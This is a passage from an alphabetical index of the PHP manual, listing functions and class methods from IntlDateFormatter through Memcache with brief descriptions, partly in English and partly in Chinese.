    • IntlDateFormatter::isLenient - Get the lenient used for the IntlDateFormatter
    • IntlDateFormatter::localtime - Parse string to a field-based time value
    • IntlDateFormatter::parse - Parse string to a timestamp value
    • IntlDateFormatter::setCalendar - Sets the calendar type used by the formatter
    • IntlDateFormatter::setLenient - Set the leniency of the parser
    • IntlDateFormatter::setPattern - Set the pattern used for the IntlDateFormatter
    • IntlDateFormatter::setTimeZone - Sets formatter?s timezone
    • IntlDateFormatter::setTimeZoneId - Sets the time zone to use
    • IntlGregorianCalendar::getGregorianChange - Get the Gregorian Calendar change date
    • IntlGregorianCalendar::isLeapYear - Determine if the given year is a leap year
    • IntlGregorianCalendar::setGregorianChange - Set the Gregorian Calendar the change date
    • IntlGregorianCalendar::__construct - Create the Gregorian Calendar class
    • IntlIterator::current - Get the current element
    • IntlIterator::key - Get the current key
    • IntlIterator::next - Move forward to the next element
    • IntlIterator::rewind - Rewind the iterator to the first element
    • IntlIterator::valid - Check if current position is valid
    • IntlPartsIterator::getBreakIterator - Get IntlBreakIterator backing this parts iterator
    • IntlRuleBasedBreakIterator::getBinaryRules - Get the binary form of compiled rules
    • IntlRuleBasedBreakIterator::getRules - Get the rule set used to create this object
    • IntlRuleBasedBreakIterator::getRuleStatus - Get the largest status value from the break rules that determined the current break position
    • IntlRuleBasedBreakIterator::getRuleStatusVec - Get the status values from the break rules that determined the current break position
    • IntlRuleBasedBreakIterator::__construct - Create iterator from ruleset
    • IntlTimeZone::countEquivalentIDs - Get the number of IDs in the equivalency group that includes the given ID
    • IntlTimeZone::createDefault - Create a new copy of the default timezone for this host
    • IntlTimeZone::createEnumeration - Get an enumeration over time zone IDs associated with the given country or offset
    • IntlTimeZone::createTimeZone - Create a timezone object for the given ID
    • IntlTimeZone::createTimeZoneIDEnumeration - Get an enumeration over system time zone IDs with the given filter conditions
    • IntlTimeZone::fromDateTimeZone - Create a timezone object from DateTimeZone
    • IntlTimeZone::getCanonicalID - Get the canonical system timezone ID or the normalized custom time zone ID for the given time zone ID
    • IntlTimeZone::getDisplayName - Get a name of this time zone suitable for presentation to the user
    • IntlTimeZone::getDSTSavings - Get the amount of time to be added to local standard time to get local wall clock time
    • IntlTimeZone::getEquivalentID - Get an ID in the equivalency group that includes the given ID
    • IntlTimeZone::getErrorCode - Get last error code on the object
    • IntlTimeZone::getErrorMessage - Get last error message on the object
    • IntlTimeZone::getGMT - Create GMT (UTC) timezone
    • IntlTimeZone::getID - Get timezone ID
    • IntlTimeZone::getIDForWindowsID - Translate a Windows timezone into a system timezone
    • IntlTimeZone::getOffset - Get the time zone raw and GMT offset for the given moment in time
    • IntlTimeZone::getRawOffset - Get the raw GMT offset (before taking daylight savings time into account
    • IntlTimeZone::getRegion - Get the region code associated with the given system time zone ID
    • IntlTimeZone::getTZDataVersion - Get the timezone data version currently used by ICU
    • IntlTimeZone::getUnknown - Get the "unknown" time zone
    • IntlTimeZone::getWindowsID - Translate a system timezone into a Windows timezone
    • IntlTimeZone::hasSameRules - Check if this zone has the same rules and offset as another zone
    • IntlTimeZone::toDateTimeZone - Convert to DateTimeZone object
    • IntlTimeZone::useDaylightTime - Check if this time zone uses daylight savings time
    • intl_error_name - Get symbolic name for a given error code
    • intl_get_error_code - Get the last error code
    • intl_get_error_message - Get description of the last error
    • intl_is_failure - Check whether the given error code indicates failure
    • intval - 获取变量的整数值
    • in_array - 检查数组中是否存在某个值
    • ip2long - 将 IPV4 的字符串互联网协议转换成长整型数字
    • iptcembed - 将二进制 IPTC 数据嵌入到一幅 JPEG 图像中
    • iptcparse - 将二进制 IPTC 块解析为单个标记
    • isset - 检测变量是否已设置并且非 NULL
    • is_a - 如果对象属于该类或该类是此对象的父类则返回 TRUE
    • is_array - 检测变量是否是数组
    • is_bool - 检测变量是否是布尔型
    • is_callable - 检测参数是否为合法的可调用结构
    • is_countable - Verify that the contents of a variable is a countable value
    • is_dir - 判断给定文件名是否是一个目录
    • is_double - is_float 的别名
    • is_executable - 判断给定文件名是否可执行
    • is_file - 判断给定文件名是否为一个正常的文件
    • is_finite - 判断是否为有限值
    • is_float - 检测变量是否是浮点型
    • is_infinite - 判断是否为无限值
    • is_int - 检测变量是否是整数
    • is_integer - is_int 的别名
    • is_iterable - Verify that the contents of a variable is an iterable value
    • is_link - 判断给定文件名是否为一个符号连接
    • is_long - is_int 的别名
    • is_nan - 判断是否为合法数值
    • is_null - 检测变量是否为 NULL
    • is_numeric - 检测变量是否为数字或数字字符串
    • is_object - 检测变量是否是一个对象
    • is_readable - 判断给定文件名是否可读
    • is_real - is_float 的别名
    • is_resource - 检测变量是否为资源类型
    • is_scalar - 检测变量是否是一个标量
    • is_soap_fault - Checks if a SOAP call has failed
    • is_string - 检测变量是否是字符串
    • is_subclass_of - 如果此对象是该类的子类，则返回 TRUE
    • is_tainted - Checks whether a string is tainted
    • is_uploaded_file - 判断文件是否是通过 HTTP POST 上传的
    • is_writable - 判断给定的文件名是否可写
    • is_writeable - is_writable 的别名
    • Iterator::current - 返回当前元素
    • Iterator::key - 返回当前元素的键
    • Iterator::next - 向前移动到下一个元素
    • Iterator::rewind - 返回到迭代器的第一个元素
    • Iterator::valid - 检查当前位置是否有效
    • IteratorAggregate::getIterator - 获取一个外部迭代器
    • IteratorIterator::current - Get the current value
    • IteratorIterator::getInnerIterator - Get the inner iterator
    • IteratorIterator::key - Get the key of the current element
    • IteratorIterator::next - Forward to the next element
    • IteratorIterator::rewind - Rewind to the first element
    • IteratorIterator::valid - Checks if the iterator is valid
    • IteratorIterator::__construct - Create an iterator from anything that is traversable
    • iterator_apply - 为迭代器中每个元素调用一个用户自定义函数
    • iterator_count - 计算迭代器中元素的个数
    • iterator_to_array - 将迭代器中的元素拷贝到数组
  • j
    • JDDayOfWeek - 返回星期的日期
    • JDMonthName - 返回月份的名称
    • JDToFrench - 转变一个Julian Day计数到French Republican历法的日期
    • JDToGregorian - 转变一个Julian Day计数为Gregorian历法日期
    • jdtojewish - 转换一个julian天数为Jewish历法的日期
    • JDToJulian - 转变一个Julian Day计数到Julian历法的日期
    • jdtounix - 转变Julian Day计数为一个Unix时间戳
    • JewishToJD - 转变一个Jewish历法的日期为一个Julian Day计数
    • join - 别名 implode
    • jpeg2wbmp - 将 JPEG 图像文件转换为 WBMP 图像文件
    • JsonSerializable::jsonSerialize - 指定需要被序列化成 JSON 的数据
    • json_decode - 对 JSON 格式的字符串进行解码
    • json_encode - 对变量进行 JSON 编码
    • json_last_error - 返回最后发生的错误
    • json_last_error_msg - Returns the error string of the last json_encode() or json_decode() call
    • Judy::byCount - Locate the Nth index present in the Judy array
    • Judy::count - Count the number of elements in the Judy array
    • Judy::first - Search for the first index in the Judy array
    • Judy::firstEmpty - Search for the first absent index in the Judy array
    • Judy::free - Free the entire Judy array
    • Judy::getType - Return the type of the current Judy array
    • Judy::last - Search for the last index in the Judy array
    • Judy::lastEmpty - Search for the last absent index in the Judy array
    • Judy::memoryUsage - Return the memory used by the Judy array
    • Judy::next - Search for the next index in the Judy array
    • Judy::nextEmpty - Search for the next absent index in the Judy array
    • Judy::offsetExists - Whether a offset exists
    • Judy::offsetGet - Offset to retrieve
    • Judy::offsetSet - Offset to set
    • Judy::offsetUnset - Offset to unset
    • Judy::prev - Search for the previous index in the Judy array
    • Judy::prevEmpty - Search for the previous absent index in the Judy array
    • Judy::size - Return the size of the current Judy array
    • Judy::__construct - Construct a new Judy object
    • Judy::__destruct - Destruct a Judy object
    • judy_type - Return the type of a Judy array
    • judy_version - Return or print the current PHP Judy version
    • JulianToJD - 转变一个Julian历法的日期为Julian Day计数
  • k
    • kadm5_chpass_principal - Changes the principal's password
    • kadm5_create_principal - Creates a kerberos principal with the given parameters
    • kadm5_delete_principal - Deletes a kerberos principal
    • kadm5_destroy - Closes the connection to the admin server and releases all related resources
    • kadm5_flush - Flush all changes to the Kerberos database
    • kadm5_get_policies - Gets all policies from the Kerberos database
    • kadm5_get_principal - Gets the principal's entries from the Kerberos database
    • kadm5_get_principals - Gets all principals from the Kerberos database
    • kadm5_init_with_password - Opens a connection to the KADM5 library
    • kadm5_modify_principal - Modifies a kerberos principal with the given parameters
    • key - 从关联数组中取得键名
    • key_exists - 别名 array_key_exists
    • krsort - 对数组按照键名逆向排序
    • ksort - 对数组按照键名排序
    • KTaglib_ID3v2_AttachedPictureFrame::getDescription - Returns a description for the picture in a picture frame
    • KTaglib_ID3v2_AttachedPictureFrame::getMimeType - Returns the mime type of the picture
    • KTaglib_ID3v2_AttachedPictureFrame::getType - Returns the type of the image
    • KTaglib_ID3v2_AttachedPictureFrame::savePicture - Saves the picture to a file
    • KTaglib_ID3v2_AttachedPictureFrame::setMimeType - Set's the mime type of the picture
    • KTaglib_ID3v2_AttachedPictureFrame::setPicture - Sets the frame picture to the given image
    • KTaglib_ID3v2_AttachedPictureFrame::setType - Set the type of the image
    • KTaglib_ID3v2_Frame::getSize - Returns the size of the frame in bytes
    • KTaglib_ID3v2_Frame::__toString - Returns a string representation of the frame
    • KTaglib_ID3v2_Tag::addFrame - Add a frame to the ID3v2 tag
    • KTaglib_ID3v2_Tag::getFrameList - Returns an array of ID3v2 frames, associated with the ID3v2 tag
    • KTaglib_MPEG_AudioProperties::getBitrate - Returns the bitrate of the MPEG file
    • KTaglib_MPEG_AudioProperties::getChannels - Returns the amount of channels of a MPEG file
    • KTaglib_MPEG_AudioProperties::getLayer - Returns the layer of a MPEG file
    • KTaglib_MPEG_AudioProperties::getLength - Returns the length of a MPEG file
    • KTaglib_MPEG_AudioProperties::getSampleBitrate - Returns the sample bitrate of a MPEG file
    • KTaglib_MPEG_AudioProperties::getVersion - Returns the version of a MPEG file
    • KTaglib_MPEG_AudioProperties::isCopyrighted - Returns the copyright status of an MPEG file
    • KTaglib_MPEG_AudioProperties::isOriginal - Returns if the file is marked as the original file
    • KTaglib_MPEG_AudioProperties::isProtectionEnabled - Returns if protection mechanisms of an MPEG file are enabled
    • KTaglib_MPEG_File::getAudioProperties - Returns an object that provides access to the audio properties
    • KTaglib_MPEG_File::getID3v1Tag - Returns an object representing an ID3v1 tag
    • KTaglib_MPEG_File::getID3v2Tag - Returns a ID3v2 object
    • KTaglib_MPEG_File::__construct - Opens a new file
    • KTaglib_Tag::getAlbum - Returns the album string from a ID3 tag
    • KTaglib_Tag::getArtist - Returns the artist string from a ID3 tag
    • KTaglib_Tag::getComment - Returns the comment from a ID3 tag
    • KTaglib_Tag::getGenre - Returns the genre from a ID3 tag
    • KTaglib_Tag::getTitle - Returns the title string from a ID3 tag
    • KTaglib_Tag::getTrack - Returns the track number from a ID3 tag
    • KTaglib_Tag::getYear - Returns the year from a ID3 tag
    • KTaglib_Tag::isEmpty - Returns true if the tag is empty
  • l
    • Lapack::eigenValues - This function returns the eigenvalues for a given square matrix
    • Lapack::identity - Return an identity matrix
    • Lapack::leastSquaresByFactorisation - Calculate the linear least squares solution of a matrix using QR factorisation
    • Lapack::leastSquaresBySVD - Solve the linear least squares problem, using SVD
    • Lapack::pseudoInverse - Calculate the inverse of a matrix
    • Lapack::singularValues - Calculated the singular values of a matrix
    • Lapack::solveLinearEquation - Solve a system of linear equations
    • lcfirst - 使一个字符串的第一个字符小写
    • lcg_value - 组合线性同余发生器
    • lchgrp - 修改符号链接的所有组
    • lchown - 修改符号链接的所有者
    • ldap_8859_to_t61 - Translate 8859 characters to t61 characters
    • ldap_add - Add entries to LDAP directory
    • ldap_add_ext - Add entries to LDAP directory
    • ldap_bind - 绑定 LDAP 目录
    • ldap_bind_ext - Bind to LDAP directory
    • ldap_close - 别名 ldap_unbind
    • ldap_compare - Compare value of attribute found in entry specified with DN
    • ldap_connect - Connect to an LDAP server
    • ldap_control_paged_result - Send LDAP pagination control
    • ldap_control_paged_result_response - Retrieve the LDAP pagination cookie
    • ldap_count_entries - Count the number of entries in a search
    • ldap_delete - Delete an entry from a directory
    • ldap_delete_ext - Delete an entry from a directory
    • ldap_dn2ufn - Convert DN to User Friendly Naming format
    • ldap_err2str - Convert LDAP error number into string error message
    • ldap_errno - Return the LDAP error number of the last LDAP command
    • ldap_error - Return the LDAP error message of the last LDAP command
    • ldap_escape - Escape a string for use in an LDAP filter or DN
    • ldap_exop - Performs an extended operation
    • ldap_exop_passwd - PASSWD extended operation helper
    • ldap_exop_refresh - Refresh extended operation helper
    • ldap_exop_whoami - WHOAMI extended operation helper
    • ldap_explode_dn - Splits DN into its component parts
    • ldap_first_attribute - Return first attribute
    • ldap_first_entry - Return first result id
    • ldap_first_reference - Return first reference
    • ldap_free_result - Free result memory
    • ldap_get_attributes - Get attributes from a search result entry
    • ldap_get_dn - Get the DN of a result entry
    • ldap_get_entries - Get all result entries
    • ldap_get_option - Get the current value for given option
    • ldap_get_values - Get all values from a result entry
    • ldap_get_values_len - Get all binary values from a result entry
    • ldap_list - Single-level search
    • ldap_modify - 别名 ldap_mod_replace
    • ldap_modify_batch - Batch and execute modifications on an LDAP entry
    • ldap_mod_add - Add attribute values to current attributes
    • ldap_mod_add_ext - Add attribute values to current attributes
    • ldap_mod_del - Delete attribute values from current attributes
    • ldap_mod_del_ext - Delete attribute values from current attributes
    • ldap_mod_replace - Replace attribute values with new ones
    • ldap_mod_replace_ext - Replace attribute values with new ones
    • ldap_next_attribute - Get the next attribute in result
    • ldap_next_entry - Get next result entry
    • ldap_next_reference - Get next reference
    • ldap_parse_exop - Parse result object from an LDAP extended operation
    • ldap_parse_reference - Extract information from reference entry
    • ldap_parse_result - Extract information from result
    • ldap_read - Read an entry
    • ldap_rename - Modify the name of an entry
    • ldap_rename_ext - Modify the name of an entry
    • ldap_sasl_bind - Bind to LDAP directory using SASL
    • ldap_search - Search LDAP tree
    • ldap_set_option - Set the value of the given option
    • ldap_set_rebind_proc - Set a callback function to do re-binds on referral chasing
    • ldap_sort - Sort LDAP result entries on the client side
    • ldap_start_tls - Start TLS
    • ldap_t61_to_8859 - Translate t61 characters to 8859 characters
    • ldap_unbind - Unbind from LDAP directory
    • levenshtein - 计算两个字符串之间的编辑距离
    • libxml_clear_errors - Clear libxml error buffer
    • libxml_disable_entity_loader - Disable the ability to load external entities
    • libxml_get_errors - Retrieve array of errors
    • libxml_get_last_error - Retrieve last error from libxml
    • libxml_set_external_entity_loader - Changes the default external entity loader
    • libxml_set_streams_context - Set the streams context for the next libxml document load or write
    • libxml_use_internal_errors - Disable libxml errors and allow user to fetch error information as needed
    • LimitIterator::current - Get current element
    • LimitIterator::getInnerIterator - Get inner iterator
    • LimitIterator::getPosition - Return the current position
    • LimitIterator::key - Get current key
    • LimitIterator::next - Move the iterator forward
    • LimitIterator::rewind - Rewind the iterator to the specified starting offset
    • LimitIterator::seek - Seek to the given position
    • LimitIterator::valid - Check whether the current element is valid
    • LimitIterator::__construct - Construct a LimitIterator
    • link - 建立一个硬连接
    • linkinfo - 获取一个连接的信息
    • list - 把数组中的值赋给一组变量
    • Locale::acceptFromHttp - Tries to find out best available locale based on HTTP "Accept-Language" header
    • Locale::canonicalize - Canonicalize the locale string
    • Locale::composeLocale - Returns a correctly ordered and delimited locale ID
    • Locale::filterMatches - Checks if a language tag filter matches with locale
    • Locale::getAllVariants - Gets the variants for the input locale
    • Locale::getDefault - Gets the default locale value from the INTL global 'default_locale'
    • Locale::getDisplayLanguage - Returns an appropriately localized display name for language of the inputlocale
    • Locale::getDisplayName - Returns an appropriately localized display name for the input locale
    • Locale::getDisplayRegion - Returns an appropriately localized display name for region of the input locale
    • Locale::getDisplayScript - Returns an appropriately localized display name for script of the input locale
    • Locale::getDisplayVariant - Returns an appropriately localized display name for variants of the input locale
    • Locale::getKeywords - Gets the keywords for the input locale
    • Locale::getPrimaryLanguage - Gets the primary language for the input locale
    • Locale::getRegion - Gets the region for the input locale
    • Locale::getScript - Gets the script for the input locale
    • Locale::lookup - Searches the language tag list for the best match to the language
    • Locale::parseLocale - Returns a key-value array of locale ID subtag elements
    • Locale::setDefault - Sets the default runtime locale
    • localeconv - Get numeric formatting information
    • localtime - 取得本地时间
    • log - 自然对数
    • log1p - 返回 log(1 + number)，甚至当 number 的值接近零也能计算出准确结果
    • log10 - 以 10 为底的对数
    • log_cmd_delete - Callback When Deleting Documents
    • log_cmd_insert - Callback When Inserting Documents
    • log_cmd_update - Callback When Updating Documents
    • log_getmore - Callback When Retrieving Next Cursor Batch
    • log_killcursor - Callback When Executing KILLCURSOR operations
    • log_reply - Callback When Reading the MongoDB reply
    • log_write_batch - Callback When Writing Batches
    • long2ip - 将长整型转化为字符串形式带点的互联网标准格式地址（IPV4）
    • lstat - 给出一个文件或符号连接的信息
    • ltrim - 删除字符串开头的空白字符（或其他字符）
    • Lua::assign - 将一个php变量赋值给Lua
    • Lua::call - 调用Lua函数
    • Lua::eval - 将字符串当做Lua代码执行
    • Lua::getVersion - 获取Lua版本
    • Lua::include - 解析Lua脚本文件
    • Lua::registerCallback - 向Lua中注册php函数
    • Lua::__construct - Lua 构造方法
    • LuaClosure::__invoke - 调用luaclosure
    • lzf_compress - LZF compression
    • lzf_decompress - LZF decompression
    • lzf_optimized_for - Determines what LZF extension was optimized for
  • m
    • magic_quotes_runtime - 别名 set_magic_quotes_runtime
    • mail - 发送邮件
    • mailparse_determine_best_xfer_encoding - Gets the best way of encoding
    • mailparse_msg_create - Create a mime mail resource
    • mailparse_msg_extract_part - Extracts/decodes a message section
    • mailparse_msg_extract_part_file - Extracts/decodes a message section
    • mailparse_msg_extract_whole_part_file - Extracts a message section including headers without decoding the transfer encoding
    • mailparse_msg_free - Frees a MIME resource
    • mailparse_msg_get_part - Returns a handle on a given section in a mimemessage
    • mailparse_msg_get_part_data - Returns an associative array of info about the message
    • mailparse_msg_get_structure - Returns an array of mime section names in the supplied message
    • mailparse_msg_parse - Incrementally parse data into buffer
    • mailparse_msg_parse_file - Parses a file
    • mailparse_rfc822_parse_addresses - Parse RFC 822 compliant addresses
    • mailparse_stream_encode - Streams data from source file pointer, apply encoding and write to destfp
    • mailparse_uudecode_all - Scans the data from fp and extract each embedded uuencoded file
    • main - 虚拟的main
    • max - 找出最大值
    • maxdb_affected_rows - Gets the number of affected rows in a previous MaxDB operation
    • maxdb_autocommit - Turns on or off auto-commiting database modifications
    • maxdb_bind_param - 别名 maxdb_stmt_bind_param
    • maxdb_bind_result - 别名 maxdb_stmt_bind_result
    • maxdb_change_user - Changes the user of the specified database connection
    • maxdb_character_set_name - Returns the default character set for the database connection
    • maxdb_client_encoding - 别名 maxdb_character_set_name
    • maxdb_close - Closes a previously opened database connection
    • maxdb_close_long_data - 别名 maxdb_stmt_close_long_data
    • maxdb_commit - Commits the current transaction
    • maxdb_connect - Open a new connection to the MaxDB server
    • maxdb_connect_errno - Returns the error code from last connect call
    • maxdb_connect_error - Returns a string description of the last connect error
    • maxdb_data_seek - Adjusts the result pointer to an arbitary row in the result
    • maxdb_debug - Performs debugging operations
    • maxdb_disable_reads_from_master - Disable reads from master
    • maxdb_disable_rpl_parse - Disable RPL parse
    • maxdb_dump_debug_info - Dump debugging information into the log
    • maxdb_embedded_connect - Open a connection to an embedded MaxDB server
    • maxdb_enable_reads_from_master - Enable reads from master
    • maxdb_enable_rpl_parse - Enable RPL parse
    • maxdb_errno - Returns the error code for the most recent function call
    • maxdb_error - Returns a string description of the last error
    • maxdb_escape_string - 别名 maxdb_real_escape_string
    • maxdb_execute - 别名 maxdb_stmt_execute
    • maxdb_fetch - 别名 maxdb_stmt_fetch
    • maxdb_fetch_array - Fetch a result row as an associative, a numeric array, or both
    • maxdb_fetch_assoc - Fetch a result row as an associative array
    • maxdb_fetch_field - Returns the next field in the result set
    • maxdb_fetch_fields - Returns an array of resources representing the fields in a result set
    • maxdb_fetch_field_direct - Fetch meta-data for a single field
    • maxdb_fetch_lengths - Returns the lengths of the columns of the current row in the result set
    • maxdb_fetch_object - Returns the current row of a result set as an object
    • maxdb_fetch_row - Get a result row as an enumerated array
    • maxdb_field_count - Returns the number of columns for the most recent query
    • maxdb_field_seek - Set result pointer to a specified field offset
    • maxdb_field_tell - Get current field offset of a result pointer
    • maxdb_free_result - Frees the memory associated with a result
    • maxdb_get_client_info - Returns the MaxDB client version as a string
    • maxdb_get_client_version - Get MaxDB client info
    • maxdb_get_host_info - Returns a string representing the type of connection used
    • maxdb_get_metadata - 别名 maxdb_stmt_result_metadata
    • maxdb_get_proto_info - Returns the version of the MaxDB protocol used
    • maxdb_get_server_info - Returns the version of the MaxDB server
    • maxdb_get_server_version - Returns the version of the MaxDB server as an integer
    • maxdb_info - Retrieves information about the most recently executed query
    • maxdb_init - Initializes MaxDB and returns an resource for use with maxdb_real_connect
    • maxdb_insert_id - Returns the auto generated id used in the last query
    • maxdb_kill - Disconnects from a MaxDB server
    • maxdb_master_query - Enforce execution of a query on the master in a master/slave setup
    • maxdb_more_results - Check if there any more query results from a multi query
    • maxdb_multi_query - Performs a query on the database
    • maxdb_next_result - Prepare next result from multi_query
    • maxdb_num_fields - Get the number of fields in a result
    • maxdb_num_rows - Gets the number of rows in a result
    • maxdb_options - Set options
    • maxdb_param_count - 别名 maxdb_stmt_param_count
    • maxdb_ping - Pings a server connection, or tries to reconnect if the connection has gone down
    • maxdb_prepare - Prepare an SQL statement for execution
    • maxdb_query - Performs a query on the database
    • maxdb_real_connect - Opens a connection to a MaxDB server
    • maxdb_real_escape_string - Escapes special characters in a string for use in an SQL statement, taking into account the current charset of the connection
    • maxdb_real_query - Execute an SQL query
    • maxdb_report - Enables or disables internal report functions
    • maxdb_rollback - Rolls back current transaction
    • maxdb_rpl_parse_enabled - Check if RPL parse is enabled
    • maxdb_rpl_probe - RPL probe
    • maxdb_rpl_query_type - Returns RPL query type
    • maxdb_select_db - Selects the default database for database queries
    • maxdb_send_long_data - 别名 maxdb_stmt_send_long_data
    • maxdb_send_query - Send the query and return
    • maxdb_server_end - Shut down the embedded server
    • maxdb_server_init - Initialize embedded server
    • maxdb_set_opt - 别名 maxdb_options
    • maxdb_sqlstate - Returns the SQLSTATE error from previous MaxDB operation
    • maxdb_ssl_set - Used for establishing secure connections using SSL
    • maxdb_stat - Gets the current system status
    • maxdb_stmt_affected_rows - Returns the total number of rows changed, deleted, or inserted by the last executed statement
    • maxdb_stmt_bind_param - Binds variables to a prepared statement as parameters
    • maxdb_stmt_bind_result - Binds variables to a prepared statement for result storage
    • maxdb_stmt_close - Closes a prepared statement
    • maxdb_stmt_close_long_data - Ends a sequence of maxdb_stmt_send_long_data
    • maxdb_stmt_data_seek - Seeks to an arbitray row in statement result set
    • maxdb_stmt_errno - Returns the error code for the most recent statement call
    • maxdb_stmt_error - Returns a string description for last statement error
    • maxdb_stmt_execute - Executes a prepared Query
    • maxdb_stmt_fetch - Fetch results from a prepared statement into the bound variables
    • maxdb_stmt_free_result - Frees stored result memory for the given statement handle
    • maxdb_stmt_init - Initializes a statement and returns an resource for use with maxdb_stmt_prepare
    • maxdb_stmt_num_rows - Return the number of rows in statements result set
    • maxdb_stmt_param_count - Returns the number of parameter for the given statement
    • maxdb_stmt_prepare - Prepare an SQL statement for execution
    • maxdb_stmt_reset - Resets a prepared statement
    • maxdb_stmt_result_metadata - Returns result set metadata from a prepared statement
    • maxdb_stmt_send_long_data - Send data in blocks
    • maxdb_stmt_sqlstate - Returns SQLSTATE error from previous statement operation
    • maxdb_stmt_store_result - Transfers a result set from a prepared statement
    • maxdb_store_result - Transfers a result set from the last query
    • maxdb_thread_id - Returns the thread ID for the current connection
    • maxdb_thread_safe - Returns whether thread safety is given or not
    • maxdb_use_result - Initiate a result set retrieval
    • maxdb_warning_count - Returns the number of warnings from the last query for the given link
    • mb_check_encoding - 检查字符串在指定的编码里是否有效
    • mb_chr - Get a specific character
    • mb_convert_case - 对字符串进行大小写转换
    • mb_convert_encoding - 转换字符的编码
    • mb_convert_kana - Convert "kana" one from another ("zen-kaku", "han-kaku" and more)
    • mb_convert_variables - 转换一个或多个变量的字符编码
    • mb_decode_mimeheader - 解码 MIME 头字段中的字符串
    • mb_decode_numericentity - 根据 HTML 数字字符串解码成字符
    • mb_detect_encoding - 检测字符的编码
    • mb_detect_order - 设置/获取 字符编码的检测顺序
    • mb_encode_mimeheader - 为 MIME 头编码字符串
    • mb_encode_numericentity - Encode character to HTML numeric string reference
    • mb_encoding_aliases - Get aliases of a known encoding type
    • mb_ereg - Regular expression match with multibyte support
    • mb_eregi - Regular expression match ignoring case with multibyte support
    • mb_eregi_replace - Replace regular expression with multibyte support ignoring case
    • mb_ereg_match - Regular expression match for multibyte string
    • mb_ereg_replace - Replace regular expression with multibyte support
    • mb_ereg_replace_callback - Perform a regular expression search and replace with multibyte support using a callback
    • mb_ereg_search - Multibyte regular expression match for predefined multibyte string
    • mb_ereg_search_getpos - Returns start point for next regular expression match
    • mb_ereg_search_getregs - Retrieve the result from the last multibyte regular expression match
    • mb_ereg_search_init - Setup string and regular expression for a multibyte regular expression match
    • mb_ereg_search_pos - Returns position and length of a matched part of the multibyte regular expression for a predefined multibyte string
    • mb_ereg_search_regs - Returns the matched part of a multibyte regular expression
    • mb_ereg_search_setpos - Set start point of next regular expression match
    • mb_get_info - 获取 mbstring 的内部设置
    • mb_http_input - 检测 HTTP 输入字符编码
    • mb_http_output - 设置/获取 HTTP 输出字符编码
    • mb_internal_encoding - 设置/获取内部字符编码
    • mb_language - 设置/获取当前的语言
    • mb_list_encodings - 返回所有支持编码的数组
    • mb_ord - Get code point of character
    • mb_output_handler - 在输出缓冲中转换字符编码的回调函数
    • mb_parse_str - 解析 GET/POST/COOKIE 数据并设置全局变量
    • mb_preferred_mime_name - 获取 MIME 字符串
    • mb_regex_encoding - Set/Get character encoding for multibyte regex
    • mb_regex_set_options - Set/Get the default options for mbregex functions
    • mb_scrub - Description
    • mb_send_mail - 发送编码过的邮件
    • mb_split - 使用正则表达式分割多字节字符串
    • mb_strcut - 获取字符的一部分
    • mb_strimwidth - 获取按指定宽度截断的字符串
    • mb_stripos - 大小写不敏感地查找字符串在另一个字符串中首次出现的位置
    • mb_stristr - 大小写不敏感地查找字符串在另一个字符串里的首次出现
    • mb_strlen - 获取字符串的长度
    • mb_strpos - 查找字符串在另一个字符串中首次出现的位置
    • mb_strrchr - 查找指定字符在另一个字符串中最后一次的出现
    • mb_strrichr - 大小写不敏感地查找指定字符在另一个字符串中最后一次的出现
    • mb_strripos - 大小写不敏感地在字符串中查找一个字符串最后出现的位置
    • mb_strrpos - 查找字符串在一个字符串中最后出现的位置
    • mb_strstr - 查找字符串在另一个字符串里的首次出现
    • mb_strtolower - 使字符串小写
    • mb_strtoupper - 使字符串大写
    • mb_strwidth - 返回字符串的宽度
    • mb_substitute_character - 设置/获取替代字符
    • mb_substr - 获取部分字符串
    • mb_substr_count - 统计字符串出现的次数
    • mcrypt_cbc - 以 CBC 模式加解密数据
    • mcrypt_cfb - 以 CFB 模式加解密数据
    • mcrypt_create_iv - 从随机源创建初始向量
    • mcrypt_decrypt - 使用给定参数解密密文
    • mcrypt_ecb - 已废弃：使用 ECB 模式加解密数据
    • mcrypt_encrypt - 使用给定参数加密明文
    • mcrypt_enc_get_algorithms_name - 返回打开的算法名称
    • mcrypt_enc_get_block_size - 返回打开的算法的分组大小
    • mcrypt_enc_get_iv_size - 返回打开的算法的初始向量大小
    • mcrypt_enc_get_key_size - 返回打开的模式所能支持的最长密钥
    • mcrypt_enc_get_modes_name - 返回打开的模式的名称
    • mcrypt_enc_get_supported_key_sizes - 以数组方式返回打开的算法所支持的密钥长度
    • mcrypt_enc_is_block_algorithm - 检测打开模式的算法是否为分组算法
    • mcrypt_enc_is_block_algorithm_mode - 检测打开的模式是否支持分组加密
    • mcrypt_enc_is_block_mode - 检测打开的模式是否以分组方式输出
    • mcrypt_enc_self_test - 在打开的模块上进行自检
    • mcrypt_generic - 加密数据
    • mcrypt_generic_deinit - 对加密模块进行清理工作
    • mcrypt_generic_end - 终止加密
    • mcrypt_generic_init - 初始化加密所需的缓冲区
    • mcrypt_get_block_size - 获得加密算法的分组大小
    • mcrypt_get_cipher_name - 获取加密算法名称
    • mcrypt_get_iv_size - 返回指定算法/模式组合的初始向量大小
    • mcrypt_get_key_size - 获取指定加密算法的密钥大小
    • mcrypt_list_algorithms - 获取支持的加密算法
    • mcrypt_list_modes - 获取所支持的模式
    • mcrypt_module_close - 关闭加密模块
    • mcrypt_module_get_algo_block_size - 返回指定算法的分组大小
    • mcrypt_module_get_algo_key_size - 获取打开模式所支持的最大密钥大小
    • mcrypt_module_get_supported_key_sizes - 以数组形式返回打开的算法所支持的密钥大小
    • mcrypt_module_is_block_algorithm - 检测指定算法是否为分组加密算法
    • mcrypt_module_is_block_algorithm_mode - 返回指定模块是否是分组加密模式
    • mcrypt_module_is_block_mode - 检测指定模式是否以分组方式输出
    • mcrypt_module_open - 打开算法和模式对应的模块
    • mcrypt_module_self_test - 在指定模块上执行自检
    • mcrypt_ofb - 使用 OFB 模式加密/解密数据
    • md5 - 计算字符串的 MD5 散列值
    • md5_file - 计算指定文件的 MD5 散列值
    • mdecrypt_generic - 解密数据
    • Memcache::add - 增加一个条目到缓存服务器
    • Memcache::addServer - 向连接池中添加一个memcache服务器
    • Memcache::close - 关闭memcache连接
    • Memcache::connect - 打开一个memcached服务端连接
    • Memcache::decrement - 减小元素的值
    • Memcache::delete - 从服务端删除一个元素
    • Memcache::flush - 清洗（删除）已经存储的所有的元素
    • Memcache::get - 从服务端检回一个元素
    • Memcache::getExtendedStats - 缓存服务器池中所有服务器统计信息
    • Memcache::getServerStatus - 用于获取一个服务器的在线/离线状态
    • Memcache::getStats - 获取服务器统计信息
    • Memcache::getVersion - 返回服务器版本信息
    • Memcache::increment - 增加一个元素的值
    • Memcache::pconnect - 打开一个到服务器的持久化连接
